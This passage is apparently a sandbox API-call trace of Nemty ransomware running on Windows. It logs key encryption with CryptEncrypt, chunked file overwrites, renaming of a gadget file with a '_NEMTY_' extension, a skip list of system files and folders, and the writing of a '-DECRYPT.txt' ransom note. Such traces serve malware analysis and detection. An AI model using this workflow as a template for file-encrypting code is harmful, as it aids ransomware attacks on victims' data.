(HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cpu.html", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0123.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cpu.html", cchWideChar=8, lpMultiByteStr=0x653ec20, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cpu.html", lpUsedDefaultChar=0x0) returned 8 [0123.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cpu.html", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0123.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cpu.html", cchWideChar=8, lpMultiByteStr=0x653ec58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cpu.html", lpUsedDefaultChar=0x0) returned 8 [0123.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0123.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0123.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0123.562] Sleep (dwMilliseconds=0x5) [0123.565] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfd4c3010, dwHighDateTime=0x1d561e7)) [0123.565] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfd4c3010, dwHighDateTime=0x1d561e7)) [0123.565] GetLastError () returned 0xb7 [0123.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0123.565] GetLastError () returned 0xb7 [0123.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0123.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0123.566] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0123.566] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0123.566] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0123.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401e0 [0123.566] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401e0, pcchString=0x653e91c | out: pszString="6EjU+9WzG6jE2cbpYoB8c+uvgqYd2JpCOoIfEdOlO2nsSEuTLxHQuO9IyUNOE6MR\r\nS2YX7fO0dceqfeEDLBopUi5bQ8Z5KCWev9vTd+Sh5daX/IBAoI2dPg8V1BNsTinj\r\n5THx7ZImM9cqdTXIY4/YwzfCQ1Qxk0LG/RU5j+YcxB9L4Cfp0eGy0DBCep/3NhYI\r\nmn+5TotjmDsdXS84dQGOj3f3T5qxKLNRkmIsbqQRiqHz9vKs5mM61bM8tymlPNUJ\r\n33b8WsNl4GG6bq12N2sv8gKytftJNeezsYhpic4UAgdbw3gv09pVhsCqUod+fgUB\r\nqoO8nWKlHqqEO8o/6my/sw==\r\n", pcchString=0x653e91c) returned 1 [0123.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0123.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0123.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0123.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0123.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401e0 [0123.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0123.566] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\cpu.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\cpu.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0123.567] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0123.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0123.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.567] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.576] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.576] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.585] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.586] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.595] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.595] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.604] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.604] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.614] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.614] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.623] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.623] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.632] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.632] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.641] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.642] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.651] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.651] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.660] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.660] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.666] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.666] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.666] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.666] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.672] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.672] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.672] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.672] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0123.672] CloseHandle (hObject=0xffffffff) returned 0 [0123.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0123.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0123.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0123.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0123.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0123.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0123.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0123.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0123.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0123.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0123.673] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\cpu.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\cpu.html"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\cpu.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\cpu.html._nemty_kgobjgd_")) returned 0 [0123.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0123.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0123.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0123.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0123.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0123.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0123.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0123.673] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="css", cAlternateFileName="")) returned 1 [0123.673] lstrcmpiW (lpString1="css", lpString2=".") returned 1 [0123.673] lstrcmpiW (lpString1="css", lpString2="..") returned 1 [0123.673] lstrcmpiW (lpString1="css", lpString2="...") returned 1 [0123.673] lstrcmpiW (lpString1="css", lpString2="windows") returned -1 [0123.673] lstrcmpiW (lpString1="css", lpString2="$RECYCLE.BIN") returned 1 [0123.673] lstrcmpiW (lpString1="css", lpString2="rsa") returned -1 [0123.673] lstrcmpiW (lpString1="css", lpString2="NTDETECT.COM") returned -1 [0123.673] lstrcmpiW (lpString1="css", lpString2="ntldr") returned -1 [0123.673] lstrcmpiW (lpString1="css", lpString2="MSDOS.SYS") returned -1 [0123.673] lstrcmpiW (lpString1="css", lpString2="IO.SYS") returned -1 [0123.674] lstrcmpiW (lpString1="css", lpString2="boot.ini") returned 1 [0123.674] lstrcmpiW (lpString1="css", lpString2="boot.ini") returned 1 [0123.674] lstrcmpiW (lpString1="css", lpString2="AUTOEXEC.BAT") returned 1 [0123.674] lstrcmpiW (lpString1="css", lpString2="ntuser.dat") returned -1 [0123.674] lstrcmpiW (lpString1="css", lpString2="desktop.ini") returned -1 [0123.674] lstrcmpiW (lpString1="css", lpString2="CONFIG.SYS") returned 1 [0123.674] lstrcmpiW (lpString1="css", lpString2="RECYCLER") returned -1 [0123.674] lstrcmpiW (lpString1="css", lpString2="BOOTSECT.BAK") returned 1 [0123.674] lstrcmpiW (lpString1="css", lpString2="bootmgr") returned 1 [0123.674] lstrcmpiW (lpString1="css", lpString2="programdata") returned -1 [0123.674] lstrcmpiW (lpString1="css", lpString2="appdata") returned 1 [0123.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0123.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="css", lpUsedDefaultChar=0x0) returned 3 [0123.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0123.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="css", lpUsedDefaultChar=0x0) returned 3 [0123.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401e0 [0123.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0123.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340268 [0123.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0123.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0123.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0123.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0123.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63402f0 [0123.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0123.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340398 [0123.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f0 | out: hHeap=0x4f90000) returned 1 [0123.674] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\css\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0123.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340398 | out: hHeap=0x4f90000) returned 1 [0123.675] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.675] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0123.676] CloseHandle (hObject=0x254) returned 1 [0123.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0123.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340268 | out: hHeap=0x4f90000) returned 1 [0123.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340268 [0123.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63402f0 [0123.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340378 [0123.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0123.676] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0123.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0123.676] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0123.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0123.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340400 [0123.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63404a8 [0123.677] HeapFree 